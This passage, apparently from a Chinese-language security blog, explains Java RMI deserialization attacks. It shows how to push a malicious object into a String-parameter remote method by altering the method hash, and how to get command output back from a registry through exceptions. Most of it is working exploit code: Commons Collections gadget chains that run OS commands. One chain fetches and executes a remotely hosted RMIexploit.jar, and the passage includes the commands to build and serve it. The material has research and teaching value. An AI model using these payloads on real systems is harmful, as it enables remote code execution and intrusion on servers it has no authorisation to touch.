runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
這裡肯定是去重點關注UnicastServerRef#dispatch
dispatch
函數的作用是處理遠程調用。它接收兩個參數:一個是遠程對象 var1
, 另一個是遠程調用對象 var2
.
var1
是一個Remote
類型的對象,表示遠程對象。它是服務器端的實際遠程對象實例。var2
是一个RemoteCall
類型的對象,表示遠程調用。它封裝了客戶端對遠程對象方法的調用,包括輸入和輸出流。
簡而言之,var1
是服務器端的遠程對象實例,而var2
是客戶端對該遠程對象方法的調用。
從var2
中讀取需要調用遠程對象的哪一個方法,hashToMethod_Map
中存放的就是遠程對象中支持遠程調用的方法,這裡的 var4=-1
從這裡可以看到調用的是 name 方法,然後獲取到該方法的參數列表長度,然後對其參數列表長度進行便利,進入unmarshalValue
:
這裡先判斷傳入的var0
來判斷如何讀取數據,如果是基本類型就按照對應方法讀取,否則就進行反序列化,這裡的var1
就是最開始客戶端對該遠程對象方法的調用對象 (就是客戶端傳來的序列化字符,我們是可控的)
服務端 String 類型參數方法利用#
但是這裡並沒有發現
String.class
類型,如果遠程對象的某個函數可以接受 String 類型參數,那能不能對傳入的對象進行反序列化呢?
這裡可以嘗試在服務端依舊設置接受String.class
類型的方法,然後在客戶端構造相同的方法,但是參數和返回值改為 Object 類型
這裡的代碼如下:
服務端部分代碼:
接口
package rmi.attack_server;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
void say(String say) throws RemoteException;
}
實現類
package rmi.attack_server;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User {
// 必須有一個顯式的構造函數,並且要拋出一個RemoteException異常
public UserImpl() throws RemoteException {
super();
}
@Override
public void say(String say) throws RemoteException{
System.out.println("you speak " + say);
}
}
rmi 服務端
package rmi.attack_server;
import sun.rmi.server.UnicastServerRef;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class serverTest {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(3333);
User user = new UserImpl();
registry.bind("User", user);
System.out.println("rmi start at 3333");
}
}
客戶端代碼如下:
package rmi.attack_server;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
// String name(String name) throws RemoteException;
void say(Object say) throws RemoteException;
// void dowork(Object work) throws RemoteException;
}
實現類:
package rmi.attack_server;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User {
// 必須有一個顯式的構造函數,並且要拋出一個RemoteException異常
public UserImpl() throws RemoteException {
super();
}
@Override
public void say(Object say) throws RemoteException{
System.out.println("you speak " + say);
}
}
rmi 客戶端:
package rmi.attack_server;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class clientTest {
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:3333/User";
User userClient = (User) Naming.lookup(url);
userClient.say(getpayload());
}
public static Object getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "test");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
這裡需要注意的是,雖然 rmi 的 url 是服務端的,那麼其實我們想調用的就是 string 參數類型的 say 方法,但是我們又想傳入 object 對象,那麼就需要讓 userClient 對象為 User 類型,而不是服務端的 User1 類型,不然是傳遞不進去的,同時客戶端調用的 say 方法不是真的執行 say 方法,而是把getpayload()
數據傳向服務端真實的遠程對象進行調用 say 方法,所以這裡即使你寫的是 object 參數類型的 say, 傳遞給服務端還是 String 類型的 say 方法來執行,這裡只是為了客戶端能運行才需要修改為 Object 類型方法
這裡還需要注意客服端和服務端的代碼需要在兩個不同的項目裡面 (不然會出現com.sun.proxy.$Proxy0 cannot be cast to rmi.attack_server.User
報錯)
同時客戶端的類名需要和服務端的類名需要一致,包名需要一致,不然會出現 (java.lang.ClassNotFoundException: attack_server2.User1 (no security manager: RMI class loader disabled)
報錯), 同時兩邊都要有 cc 依賴
重新配置好類名,新的報錯如下:
說明沒有從hashToMethod_Map
中查詢到我們想要調用的方法 (通過 hash 進行判斷的), 這裡就需要看下客戶端是如何把這個 var4 傳遞過來的:
這裡還需要補充如何下斷點,查看 client 傳輸數據時的調用棧
StreamRemoteCall
構造函數的作用是初始化一個遠程調用對象。這個構造函數會寫入遠程調用的頭信息,包括對象 ID、操作碼和調用 ID。
這裡就需要回看前面比較 hash 的時候使用到的是哪個變量
其實那個 hash 值就是讀取傳入對象的 long 值,也就是StreamRemoteCall
構造函數的第四個參數調用 ID。那我們可以直接在這裡修改掉這個 hash 值不就行了么(這裡調試可以直接,相對傳輸的序列化數據我們是能任意操控,再不濟在客戶端用 agent 把這個類重寫了,方法多的是)反正這裡傳入服務端存在方法對應的hash
,繞過檢測到參數反序列化就行,我這裡設置為6197384497301668989
(你們找自己服務端對應的),debug 中輸入var4=6197384497301668989L
, 這裡要加L
才行,不然他會認為是 int 會過大(不知道咋設置看下圖)
回車即可,然後我們繼續調試,這裡其實在調試過程有很多坑,我這裡是第三次跳轉到 writeLong 的時候進行修改才能進行後續調試,因為第三次才是對 say 方法進行的調用,所以需要客戶端、服務端一起調試,在服務端查看當前調用方法是否為 say 方法
可以看見即使服務端的方法參數為 string 類型,我們還是可以把客戶端傳遞過去的數據進行反序列化,所以除去Integer
、Boolean
、Byte
、Character
、Short
、Long
、Float
、Double
方法都是可以進行反序列化 object 的,成功彈窗
帶回顯攻擊#
這裡說的帶回顯攻擊,指的是攻擊註冊中心時,註冊中心遇到異常會直接把異常發回來,返回給客戶端。
在之前攻擊註冊中心時采用的方式,我們可以通過 bind、lookup、unbind、rebind 等方式去攻擊註冊中心,當我們嘗試攻擊時,命令確實執行了,不過註冊中心的錯誤也會傳遞到我們的客戶端中:
註冊中心在處理請求時,會調用到UnicastServerRef#dispatch
來處理請求,然後依次調用到 RegistryImpl_Skel 對象的 dispatch 方法,
我們看一下註冊中心如何處理報錯的,UnicastServerRef#dispatch:
首先是把異常賦值給了 var6,之後會獲取到當前 socket 連接到 outputstream,然後寫入異常,之後通過 finally 後邊的兩段代碼把數據回傳給客戶端。
思路:當通過 bind 方法讓註冊中心反序列化我們的惡意序列化對象時,即可觸發命令執行,通過 URLClassLoader 的方式加載遠程 jar,並調用其方法,在方法內拋出錯誤,錯誤會傳回客戶端。
服務端:
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class Server {
public interface User extends Remote {
public String name(String name) throws RemoteException;
public void say(String say) throws RemoteException;
public void Example(Object work) throws RemoteException;
}
public static class UserImpl extends UnicastRemoteObject implements User{
public UserImpl() throws RemoteException{
super();
}
public String name(String name) throws RemoteException{
return name;
}
public void say(String say) throws RemoteException{
System.out.println("you speak" + say);
}
public void Example(Object example) throws RemoteException{
System.out.println("This is " + example);
}
}
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1099/User";
UserImpl user = new UserImpl();
LocateRegistry.createRegistry(1099);
Naming.bind(url,user);
System.out.println("RMI server is running");
}
}
ErrorBaseExec
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ErrorBaseExec {
public static void do_exec(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}
編譯成 RMIexploit.jar
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class
客戶端
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //註冊中心ip
int port = 1099; //註冊中心端口
String remotejar = "<http://127.0.0.1:8081/RMIexploit.jar>";
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] {new Object[] {new java.net.URL[] { new java.net.URL(remotejar) }}}),
new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] {"ErrorBaseExec"}),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Target.class, outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}
用 python 起一個簡易的 http 服務器
python -3 -m http.server 8081